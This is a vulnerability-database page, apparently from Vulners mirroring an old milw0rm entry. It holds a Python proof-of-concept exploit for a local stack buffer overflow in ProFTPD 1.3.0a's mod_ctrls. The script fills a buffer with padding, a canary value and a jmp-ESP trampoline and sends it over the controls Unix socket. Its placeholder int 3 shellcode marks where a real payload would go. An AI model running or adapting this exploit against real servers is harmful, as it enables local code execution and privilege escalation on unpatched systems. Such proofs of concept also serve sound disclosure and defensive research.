Lucene search
K

ProFTPD <= 1.3.0a (mod_ctrls support) Local Buffer Overflow PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

ProFTPD mod_ctrls buffer overflow Po

Code

                                                #    Core Security Technologies - Corelabs Advisory
#    ProFTPD Controls buffer overflow

import socket
import os, os.path,stat

#This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy)
#
ctrlSocket = &#34;/tmp/ctrls.sock&#34;
mySocket = &#34;/tmp/notused.sock&#34;
canary = &#34;\0\0\x0a\xff&#34;
trampoline = &#34;\x77\xe7\xff\xff&#34; # jmp ESP on vdso
shellcode = &#34;\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc&#34; # inocuous &#34;int 3&#34;

#Build Payload. The format on the stack is:
#
#AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP
payload = (&#34;A&#34;*512) + canary + &#34;AAAABBBBCCCCDDDD&#34; + trampoline + shellcode

#Setup socket
#
if os.path.exists(mySocket):
       os.remove(mySocket)
s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
s.bind(mySocket)
os.chmod(mySocket,stat.S_IRWXU)
s.connect(ctrlSocket)

#Send payload
#
s.send(&#34;\1\0\0\0&#34;)
s.send(&#34;\1\0\0\0&#34;)
l = len(payload)
s.send(chr(l & 255)+chr((l/255) & 255)+&#34;\0\0&#34;)
s.send(payload)

#Finished
#
s.close()

# milw0rm.com [2006-12-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15